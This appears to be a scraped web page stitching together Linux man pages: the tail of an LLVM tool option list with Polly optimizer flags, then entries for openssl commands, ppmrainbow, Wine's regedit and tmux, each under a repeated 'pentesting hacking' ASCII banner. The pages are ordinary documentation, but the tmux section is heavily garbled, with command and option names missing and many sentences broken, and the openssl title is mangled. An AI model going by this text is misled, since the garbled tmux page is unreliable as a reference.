- denormals are flushed to positive zero

=dynamic
- denormals have unknown treatment

–disable-auto-upgrade-debug-info - Disable autoupgrade of debug info

–disable-i2p-p2i-opt - Disables inttoptr/ptrtoint roundtrip optimization

–disable-lazy-compilation - Disable JIT lazy compilation

–disable-promote-alloca-to-lds - Disable promote alloca to LDS

–disable-promote-alloca-to-vector - Disable promote alloca to vector

–disable-tail-calls - Never emit tail calls

–dlopen=<string> - Dynamic libraries to load before linking

–do-counter-promotion - Do counter register promotion

–dot-cfg-mssa=<file name for generated dot file> - file name for generated dot file

–dwarf-version=<int> - Dwarf version

–dwarf64 - Generate debugging info in the 64-bit DWARF format

–emit-call-site-info - Emit call site debug information, if debug information is enabled.

–emit-compact-unwind-non-canonical - Whether to try to emit Compact Unwind for non canonical entries.

–emit-dwarf-unwind=<value> - Whether to emit DWARF EH frame entries.

=always
- Always emit EH frame entries

=no-compact-unwind
- Only emit EH frame entries when compact unwind is not available

=default
- Use target platform default

–emscripten-cxx-exceptions-allowed=<string> - The list of function names in which Emscripten-style exception handling is enabled (see emscripten EMSCRIPTEN_CATCHING_ALLOWED options)

–emulated-tls - Use emulated TLS model

–enable-approx-func-fp-math - Enable FP math optimizations that assume approx func

–enable-cache-manager - Use cache manager to save/load modules

–enable-cse-in-irtranslator - Should enable CSE in irtranslator

–enable-cse-in-legalizer - Should enable CSE in Legalizer

–enable-emscripten-cxx-exceptions - WebAssembly Emscripten-style exception handling

–enable-emscripten-sjlj - WebAssembly Emscripten-style setjmp/longjmp handling

–enable-gvn-hoist - Enable the GVN hoisting pass (default = off)

–enable-gvn-memdep -

–enable-gvn-sink - Enable the GVN sinking pass (default = off)

–enable-jmc-instrument - Instrument functions with a call to __CheckForDebuggerJustMyCode

–enable-load-in-loop-pre -

–enable-load-pre -

–enable-loop-simplifycfg-term-folding -

–enable-name-compression - Enable name/filename string compression

–enable-no-infs-fp-math - Enable FP math optimizations that assume no +-Infs

–enable-no-nans-fp-math - Enable FP math optimizations that assume no NaNs

–enable-no-signed-zeros-fp-math - Enable FP math optimizations that assume the sign of 0 is insignificant

–enable-no-trapping-fp-math - Enable setting the FP exceptions build attribute not to use exceptions

–enable-split-backedge-in-load-pre -

–enable-unsafe-fp-math - Enable optimizations that may decrease FP precision

–entry-function=<function> - Specify the entry function (default = ‘main’) of the executable

–exception-model=<value> - exception model

=default
- default exception handling model

=dwarf
- DWARF-like CFI based exception handling

=sjlj
- SjLj exception handling

=arm
- ARM EHABI exceptions

=wineh
- Windows exception model

=wasm
- WebAssembly exception handling

–experimental-debug-variable-locations - Use experimental new value-tracking variable locations

–extra-archive=<input archive> - Extra archive files to be loaded

–extra-module=<input bitcode> - Extra modules to be loaded

–extra-object=<input object> - Extra object files to be loaded

–fake-argv0=<executable> - Override the ‘argv[0]’ value passed into the executing program

–fatal-warnings - Treat warnings as errors

–filetype=<value> - Choose a file type (not all types are supported by all targets):

=asm
- Emit an assembly (’.s’) file

=obj
- Emit a native object (’.o’) file

=null
- Emit nothing, for performance testing

–float-abi=<value> - Choose float ABI type

=default
- Target default float ABI type

=soft
- Soft float ABI (implied by -soft-float)

=hard
- Hard float ABI (uses FP registers)

–force-dwarf-frame-section - Always emit a debug frame section.

–force-interpreter - Force interpretation: disable JIT

–force-tail-folding-style=<value> - Force the tail folding style

=none
- Disable tail folding

=data
- Create lane mask for data only, using active.lane.mask intrinsic

=data-without-lane-mask
- Create lane mask with compare/stepvector

=data-and-control
- Create lane mask using active.lane.mask intrinsic, and use it for both data and control flow

=data-and-control-without-rt-check
- Similar to data-and-control, but remove the runtime check

–fp-contract=<value> - Enable aggressive formation of fused FP ops

=fast
- Fuse FP ops whenever profitable

=on
- Only fuse ‘blessed’ FP ops.

=off
- Only fuse FP ops when the result won’t be affected.

–frame-pointer=<value> - Specify frame pointer elimination optimization

=all
- Disable frame pointer elimination

=non-leaf
- Disable frame pointer elimination for non-leaf frame

=none
- Enable frame pointer elimination

–fs-profile-debug-bw-threshold=<uint> - Only show debug message if the source branch weight is greater
than this value.

–fs-profile-debug-prob-diff-threshold=<uint> - Only show debug message if the branch probility is greater than this value (in percentage).

–function-sections - Emit functions into separate sections

–generate-merged-base-profiles - When generating nested context-sensitive profiles, always generate extra base profile for function with all its context profiles merged into it.

–gpsize=<uint> - Global Pointer Addressing Size.
The default size is 8.

–hash-based-counter-split - Rename counter variable of a comdat function based on cfg hash

–hexagon-rdf-limit=<uint> -

–hot-cold-split - Enable hot-cold splitting pass

–ignore-xcoff-visibility - Not emit the visibility attribute for asm in AIX OS or give all symbols ‘unspecified’ visibility in XCOFF object file

–import-all-index - Import all external functions in index.

–incremental-linker-compatible - When used with filetype=obj, emit an object file which can be used with an incremental linker

–instcombine-code-sinking - Enable code sinking

–instcombine-guard-widening-window=<uint> - How wide an instruction window to bypass looking for another guard

–instcombine-max-num-phis=<uint> - Maximum number phis to handle in intptr/ptrint folding

–instcombine-max-sink-users=<uint> - Maximum number of undroppable users for instruction sinking

–instcombine-maxarray-size=<uint> - Maximum array size considered when doing a combine

–instcombine-negator-enabled - Should we attempt to sink negations?

–instcombine-negator-max-depth=<uint> - What is the maximal lookup depth when trying to check for viability of negation sinking.

–instrprof-atomic-counter-update-all - Make all profile counter updates atomic (for testing only)

–internalize-public-api-file=<filename> - A file containing list of symbol names to preserve

–internalize-public-api-list=<list> - A list of symbol names to preserve

–iterative-counter-promotion - Allow counter promotion across the whole loop nest.

–jd=<string> - Specifies the JITDylib to be used for any subsequent -extra-module arguments.

–jit-kind=<value> - Choose underlying JIT kind.

=mcjit
- MCJIT

=orc
- Orc JIT

=orc-lazy
- Orc-based lazy JIT.

–jit-linker=<value> - Choose the dynamic linker/loader.

=default
- Default for platform and JIT-kind

=rtdyld
- RuntimeDyld

=jitlink
- Orc-specific linker

–load=<pluginfilename> - Load the specified plugin

–lto-aix-system-assembler=<path> - Path to a system assembler, picked up on AIX only

–lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO

=none
- Do not embed

=optimized
- Embed after all optimization passes

=post-merge-pre-opt
- Embed post merge, but before optimizations

–lto-pass-remarks-filter=<regex> - Only record optimization remarks from passes whose names match the given regular expression

–lto-pass-remarks-format=<format> - The format used for serializing remarks (default: YAML)

–lto-pass-remarks-output=<filename> - Output filename for pass remarks

–march=<string> - Architecture to generate code for (see –version)

–matrix-default-layout=<value> - Sets the default matrix layout

=column-major
- Use column-major layout

=row-major
- Use row-major layout

–matrix-print-after-transpose-opt -

–mattr=<a1,+a2,-a3,…> - Target specific attributes (-mattr=help for details)

–max-counter-promotions=<int> - Max number of allowed counter promotions

–max-counter-promotions-per-loop=<uint> - Max number counter promotions per loop to avoid increasing register pressure too much

–mc-relax-all - When used with filetype=obj, relax all fixups in the emitted object file

–mcabac - tbd

–mcjit-remote-process=<filename> - Specify the filename of the process to launch for remote MCJIT execution.
If none is specified, remote execution will be simulated in-process.

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–meabi=<value> - Set EABI type (default depends on triple):

=default
- Triple default EABI version

=4
- EABI version 4

=5
- EABI version 5

=gnu
- EABI GNU

–merror-missing-parenthesis - Error for missing parenthesis around predicate registers

–merror-noncontigious-register - Error for register names that aren’t contigious

–mhvx - Enable Hexagon Vector eXtensions

–mhvx=<value> - Enable Hexagon Vector eXtensions

=v60
- Build for HVX v60

=v62
- Build for HVX v62

=v65
- Build for HVX v65

=v66
- Build for HVX v66

=v67
- Build for HVX v67

=v68
- Build for HVX v68

=v69
- Build for HVX v69

=v71
- Build for HVX v71

=v73
- Build for HVX v73

–mips-compact-branches=<value> - MIPS Specific: Compact branch policy.

=never
- Do not use compact branches if possible.

=optimal
- Use compact branches where appropriate (default).

=always
- Always use compact branches if possible.

–mips16-constant-islands - Enable mips16 constant islands.

–mips16-hard-float - Enable mips16 hard float.

–mir-strip-debugify-only - Should mir-strip-debug only strip debug info from debugified modules by default

–misexpect-tolerance=<uint> - Prevents emiting diagnostics when profile counts are within N% of the threshold..

–mno-compound - Disable looking for compound instructions for Hexagon

–mno-fixup - Disable fixing up resolved relocations for Hexagon

–mno-ldc1-sdc1 - Expand double precision loads and stores to their single precision counterparts

–mno-pairing - Disable looking for duplex instructions for Hexagon

–mtriple=<string> - Override target triple for module

–mwarn-missing-parenthesis - Warn for missing parenthesis around predicate registers

–mwarn-noncontigious-register - Warn for register names that arent contigious

–mwarn-sign-mismatch - Warn for mismatching a signed and unsigned value

–mxcoff-roptr - When set to true, const objects with relocatable address values are put into the RO data section.

–no-deprecated-warn - Suppress all deprecated warnings

–no-discriminators - Disable generation of discriminator information.

–no-integrated-as - Disable integrated assembler

–no-process-syms - Do not resolve lli process symbols in JIT’d code

–no-type-check - Suppress type errors (Wasm)

–no-warn - Suppress all warnings

–nozero-initialized-in-bss - Don’t place zero-initialized symbols into bss section

–nvptx-sched4reg - NVPTX Specific: schedule for register pressue

–object-cache-dir=<string> - Directory to store cached object files (must be user writable)

–orc-runtime=<string> - Use ORC runtime from given path

–per-module-lazy - Performs lazy compilation on whole module boundaries rather than individual functions

–pgo-block-coverage - Use this option to enable basic block coverage instrumentation

–pgo-temporal-instrumentation - Use this option to enable temporal instrumentation

–pgo-view-block-coverage-graph - Create a dot file of CFGs with block coverage inference information

–poison-checking-function-local - Check that returns are non-poison (for testing)

–print-pipeline-passes - Print a ‘-passes’ compatible string describing the pipeline (best-effort only).

–r600-ir-structurize - Use StructurizeCFG IR pass

–relax-elf-relocations - Emit GOTPCRELX/REX_GOTPCRELX instead of GOTPCREL on x86-64 ELF

–relocation-model=<value> - Choose relocation model

=static
- Non-relocatable code

=pic
- Fully relocatable, position independent code

=dynamic-no-pic
- Relocatable external references, non-relocatable code

=ropi
- Code and read-only data relocatable, accessed PC-relative

=rwpi
- Read-write data relocatable, accessed relative to static base

=ropi-rwpi
- Combination of ropi and rwpi

–remote-mcjit - Execute MCJIT’ed code in a separate process.

–riscv-add-build-attributes -

–runtime-counter-relocation - Enable relocating counters at runtime.

–safepoint-ir-verifier-print-only -

–sample-profile-check-record-coverage=<N> - Emit a warning if less than N% of records in the input profile are matched to the IR.

–sample-profile-check-sample-coverage=<N> - Emit a warning if less than N% of samples in the input profile are matched to the IR.

–sample-profile-max-propagate-iterations=<uint> - Maximum number of iterations to go through when propagating sample block/edge weights through the CFG.

–skip-ret-exit-block - Suppress counter promotion if exit blocks contain ret.

–soft-float - Generate software floating point library calls

–speculative-counter-promotion-max-exiting=<uint> - The max number of exiting blocks of a loop to allow
speculative counter promotion

–speculative-counter-promotion-to-loop - When the option is false, if the target block is in a loop, the promotion will be disallowed unless the promoted counter
update can be further/iteratively promoted into an acyclic region.

–split-machine-functions - Split out cold basic blocks from machine functions based on profile information

–stack-size-section - Emit a section containing stack size metadata

–stack-symbol-ordering - Order local stack symbols.

–stackrealign - Force align the stack to the minimum alignment

–strict-dwarf - use strict dwarf

–summary-file=<string> - The summary file to use for function importing.

–sve-tail-folding=<string> - Control the use of vectorisation using tail-folding for SVE where the option is specified in the form (Initial)[+(Flag1|Flag2|…)]:
disabled (Initial) No loop types will vectorize using tail-folding default (Initial) Uses the default tail-folding settings for the target CPU all (Initial) All legal loop types will vectorize using tail-folding simple (Initial) Use tail-folding for simple loops (not reductions or recurrences) reductions Use tail-folding for loops containing reductions noreductions Inverse of above recurrences Use tail-folding for loops containing fixed order recurrences norecurrences Inverse of above reverse Use tail-folding for loops requiring reversed predicates noreverse Inverse of above

–swift-async-fp=<value> - Determine when the Swift async frame pointer should be set

=auto
- Determine based on deployment target

=always
- Always set the bit

=never
- Never set the bit

–tail-predication=<value> - MVE tail-predication pass options

=disabled
- Don’t tail-predicate loops

=enabled-no-reductions
- Enable tail-predication, but not for reduction loops

=enabled
- Enable tail-predication, including reduction loops

=force-enabled-no-reductions
- Enable tail-predication, but not for reduction loops, and force this which might be unsafe

=force-enabled
- Enable tail-predication, including reduction loops, and force this which might be unsafe

–tailcallopt - Turn fastcc calls into tail calls by (potentially) changing ABI.

–thinlto-assume-merged - Assume the input has already undergone ThinLTO function importing and the other pre-optimization pipeline changes.

–thread-entry=<string> - calls the given entry-point on a new thread (jit-kind=orc-lazy only)

–thread-model=<value> - Choose threading model

=posix
- POSIX thread model

=single
- Single thread model

–threads=<int> -

–tls-size=<uint> - Bit size of immediate TLS offsets

–type-based-intrinsic-cost - Calculate intrinsics cost based only on argument types

–unique-basic-block-section-names - Give unique names to every basic block section

–unique-section-names - Give unique names to every section

–use-ctors - Use .ctors instead of .init_array.

–vec-extabi - Enable the AIX Extended Altivec ABI.

–verify-region-info - Verify region info (time consuming)

–vp-counters-per-site=<number> - The average number of profile counters allocated per value profiling site.

–vp-static-alloc - Do static counter allocation for value profiler

–wasm-enable-eh - WebAssembly exception handling

–wasm-enable-sjlj - WebAssembly setjmp/longjmp handling

–x86-align-branch=<string> - Specify types of branches to align (plus separated list of types):
jcc indicates conditional jumps fused indicates fused conditional jumps jmp indicates direct unconditional jumps call indicates direct and indirect calls ret indicates rets indirect indicates indirect unconditional jumps

–x86-align-branch-boundary=<uint> - Control how the assembler should align branches with NOP. If the boundary’s size is not 0, it should be a power of 2 and no less than 32. Branches will be aligned to prevent from being across or against the boundary of specified size. The default value 0 does not align branches.

–x86-branches-within-32B-boundaries - Align selected instructions to mitigate negative performance impact of Intel’s micro code update for errata skx102.
May break assumptions about labels corresponding to particular instructions, and should be used with caution.

–x86-pad-max-prefix-size=<uint> - Maximum number of prefixes to use for padding

–xcoff-traceback-table - Emit the XCOFF traceback table

–xray-function-index - Emit xray_fn_idx section

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

Polly Options: Configure the polly loop optimizer

–polly - Enable the polly optimizer (with -O1, -O2 or -O3)

–polly-2nd-level-tiling - Enable a 2nd level loop of loop tiling

–polly-ast-print-accesses - Print memory access functions

–polly-context=<isl parameter set> - Provide additional constraints on the context parameters

–polly-dce-precise-steps=<int> - The number of precise steps between two approximating iterations. (A value of -1 schedules another approximation stage before the actual dead code elimination.

–polly-delicm-max-ops=<int> - Maximum number of isl operations to invest for lifetime analysis; 0=no limit

–polly-detect-full-functions - Allow the detection of full functions

–polly-dump-after - Dump module after Polly transformations into a file suffixed with “-after”

–polly-dump-after-file=<string> - Dump module after Polly transformations to the given file

–polly-dump-before - Dump module before Polly transformations into a file suffixed with “-before”

–polly-dump-before-file=<string> - Dump module before Polly transformations to the given file

–polly-enable-simplify - Simplify SCoP after optimizations

–polly-ignore-func=<string> - Ignore functions that match a regex. Multiple regexes can be comma separated. Scop detection will ignore all functions that match ANY of the regexes provided.

–polly-isl-arg=<argument> - Option passed to ISL

–polly-matmul-opt - Perform optimizations of matrix multiplications based on pattern matching

–polly-on-isl-error-abort - Abort if an isl error is encountered

–polly-only-func=<string> - Only run on functions that match a regex. Multiple regexes can be comma separated. Scop detection will run on all functions that match ANY of the regexes provided.

–polly-only-region=<identifier> - Only run on certain regions (The provided identifier must appear in the name of the region’s entry block

–polly-only-scop-detection - Only run scop detection, but no other optimizations

–polly-optimized-scops - Polly - Dump polyhedral description of Scops optimized with the isl scheduling optimizer and the set of post-scheduling transformations is applied on the schedule tree

–polly-parallel - Generate thread parallel code (isl codegen only)

–polly-parallel-force - Force generation of thread parallel code ignoring any cost model

–polly-pattern-matching-based-opts - Perform optimizations based on pattern matching

–polly-postopts - Apply post-rescheduling optimizations such as tiling (requires -polly-reschedule)

–polly-pragma-based-opts - Apply user-directed transformation from metadata

–polly-pragma-ignore-depcheck - Skip the dependency check for pragma-based transformations

–polly-process-unprofitable - Process scops that are unlikely to benefit from Polly optimizations.

–polly-register-tiling - Enable register tiling

–polly-report - Print information about the activities of Polly

–polly-reschedule - Optimize SCoPs using ISL

–polly-show - Highlight the code regions that will be optimized in a (CFG BBs and LLVM-IR instructions)

–polly-show-only - Highlight the code regions that will be optimized in a (CFG only BBs)

–polly-stmt-granularity=<value> - Algorithm to use for splitting basic blocks into multiple statements

=bb
- One statement per basic block

=scalar-indep
- Scalar independence heuristic

=store
- Store-level granularity

–polly-tc-opt - Perform optimizations of tensor contractions based on pattern matching

–polly-tiling - Enable loop tiling

–polly-vectorizer=<value> - Select the vectorization strategy

=none
- No Vectorization

=stripmine
- Strip-mine outer loops for the loop-vectorizer to trigger

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1553 - Linux cli command openssl-cmdsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-cmdsssl and provides detailed information about the command openssl-cmdsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-cmdsssl.

NAME 🖥️ openssl-cmdsssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1554 - Linux cli command ppmrainbow

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmrainbow and provides detailed information about the command ppmrainbow, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmrainbow.

.

NAME 🖥️ ppmrainbow 🖥️

Generate a rainbow

SYNOPSIS

ppmrainbow

[-width=number] [-height=number] [-tmpdir=directory] [-norepeat] [-verbose] color

DESCRIPTION

This program is part of Netpbm(1) .

ppmrainbow generates a PPM image that fades from one color to another to another from left to right, like a rainbow.

If you want a vertical or other non-horizontal rainbow, run the output through pnmrotate or pamflip.

One use for such a rainbow is to compose it with another image under a transparency mask in order to add a rainbow area to another image. In fact, you can make rainbow-colored text by using pbmtext, pamcomp, and ppmrainbow.

pgmramp does a similar thing for grayscale images.

If you just want an image containing all the possible colors (for some kind of processing; not to look at), see pamseq.

ARGUMENTS

color … is the list of colors, in order from left to right, to go into the rainbow.

The first color is added again on the right end of the image unless you specify the -norepeat option. This means you can concatenate multiple copies (tile, as with pnmtile) to make a continuous larger image.

color is as described for the argument of the pnm_parsecolor() library routine .

OPTIONS

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

-width number
The width in pixels of the output image.

Default is 600.

-height number
The height in pixels of the output image.

Default is 8.

-norepeat
This option makes ppmrainbow end the rainbow with the last color you specify. Without this option, ppmrainbow adds the first color you specify to the right end of the rainbow as if you had repeated it.

-tmpdir
The directory specification of the directory ppmrainbow is to use for temporary files.

Default is the value of the TMPDIR environment variable, or /tmp if TMPDIR is not set.

ppmrainbow always creates a directory within this directory and creates all its files within that directory.

-verbose
Print the “commands” (invocations of other Netpbm programs) that ppmrainbow uses to create the image.

SEE ALSO

pgmramp(1) , pamseq(1) , pamgradient(1) , ppmmake(1) , ppmfade(1) , ppm(1) .

AUTHOR

Arjen Bax wrote ppmrainbow in June 2001 and contributed it to the Netpbm package. Bryan Henderson wrote this manual in July 2001.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmrainbow.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1555 - Linux cli command regedit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command regedit and provides detailed information about the command regedit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the regedit.

NAME 🖥️ regedit 🖥️

Wine registry editor

SYNOPSIS

regedit [text file]

DESCRIPTION

regedit is the Wine registry editor, designed to be compatible with its Microsoft Windows counterpart. If called without any options, it will start the full GUI editor.

The switches are case-insensitive and can be prefixed either by ‘-’ or ‘/’.

OPTIONS

-E file [regpath]
Exports the content of the specified registry key to the specified file. It exports the whole registry if no key is specified.

-D regpath
Deletes the specified registry key.

-S
Run regedit silently (ignored, CLI mode is always silent). This exists for compatibility with Windows regedit.

-V
Run regedit in advanced mode (ignored). This exists for compatibility with Windows regedit.

-L location
Specifies the location of the system.dat registry file (ignored). This exists for compatibility with Windows regedit.

-R location
Specifies the location of the user.dat registry file (ignored). This exists for compatibility with Windows regedit.

-?
Prints a help message. Any other options are ignored.

-C file.reg
Create registry from file.reg (unimplemented).

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

regedit is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1556 - Linux cli command tmux

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tmux and provides detailed information about the command tmux, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tmux.

is a terminal multiplexer: it enables a number of terminals to be created, accessed, and controlled from a single screen.

may be detached from a screen and continue running in the background, then later reattached.

When

is started, it creates a new

with a single

and displays it on screen. A status line at the bottom of the screen shows information on the current session and is used to enter interactive commands.

A session is a single collection of

under the management of

Each session has one or more windows linked to it. A window occupies the entire screen and may be split into rectangular panes, each of which is a separate pseudo terminal (the

manual page documents the technical details of pseudo terminals). Any number of

instances may connect to the same session, and any number of windows may be present in the same session. Once all sessions are killed,

exits.

Each session is persistent and will survive accidental disconnection (such as

connection timeout) or intentional detaching (with the

key strokes).

may be reattached using:

In

a session is displayed on screen by a

and all sessions are managed by a single

The server and each client are separate processes which communicate through a socket in

The options are as follows:

Force

to assume the terminal supports 256 colours. This is equivalent to

Start in control mode (see the

section). Given twice

disables echo.

Execute

using the default shell. If necessary, the

server will be started to retrieve the

option. This option is for compatibility with

when

is used as a login shell.

Do not start the

server as a daemon. This also turns the

option off. With

may not be specified.

Specify an alternative configuration file. By default,

loads the system configuration file from

if present, then looks for a user configuration file at

or

The configuration file is a set of

commands which are executed in sequence when the server is first started.

loads configuration files once when the server process has started. The

command may be used to load a file later.

shows any error messages from commands in configuration files in the first session created, and continues to process the rest of the configuration file.

stores the server socket in a directory under

or

if it is unset. The default socket is named

This option allows a different socket name to be specified, allowing several independent

servers to be run. Unlike

a full path is not necessary: the sockets are all created in a directory

under the directory given by

or in

The

directory is created by

and must not be world readable, writable or executable.

If the socket is accidentally removed, the

signal may be sent to the

server process to recreate it (note that this will fail if any parent directories are missing).

Behave as a login shell. This flag currently has no effect and is for compatibility with other shells when using tmux as a login shell.

Do not start the server even if the command would normally do so (for example

or

Specify a full alternative path to the server socket. If

is specified, the default socket directory is not used and any

flag is ignored.

Set terminal features for the client. This is a comma-separated list of features. See the

option.

Write UTF-8 output to the terminal even if the first environment variable of

or

that is set does not contain

or

Report the

version.

Request verbose logging. Log messages will be saved into

and

files in the current directory, where

is the PID of the server or client process. If

is specified twice, an additional

file is generated with a copy of everything

writes to the terminal.

The

signal may be sent to the

server process to toggle logging between on (as if

was given) and off.

This specifies one of a set of commands used to control

as described in the following sections. If no commands are specified, the

command is assumed.

may be controlled from an attached client by using a key combination of a prefix key,

(Ctrl-b) by default, followed by a command key.

The default command key bindings are:

Send the prefix key (C-b) through to the application.

Rotate the panes in the current window forwards.

Suspend the

client.

Break the current pane out of the window.

Split the current pane into two, top and bottom.

List all paste buffers.

Rename the current session.

Split the current pane into two, left and right.

Kill the current window.

Prompt for a window index to select.

Switch the attached client to the previous session.

Switch the attached client to the next session.

Rename the current window.

Delete the most recently copied buffer of text.

Prompt for an index to move the current window.

Select windows 0 to 9.

Enter the

command prompt.

Move to the previously active pane.

Choose which buffer to paste interactively from a list.

List all key bindings.

Choose a client to detach.

Switch the attached client back to the last session.

Enter copy mode to copy text or view the history.

Paste the most recently copied buffer of text.

Create a new window.

Detach the current client.

Prompt to search for text in open windows.

Display some information about the current window.

Move to the previously selected window.

Mark the current pane (see

Clear the marked pane.

Change to the next window.

Select the next pane in the current window.

Change to the previous window.

Briefly display pane indexes.

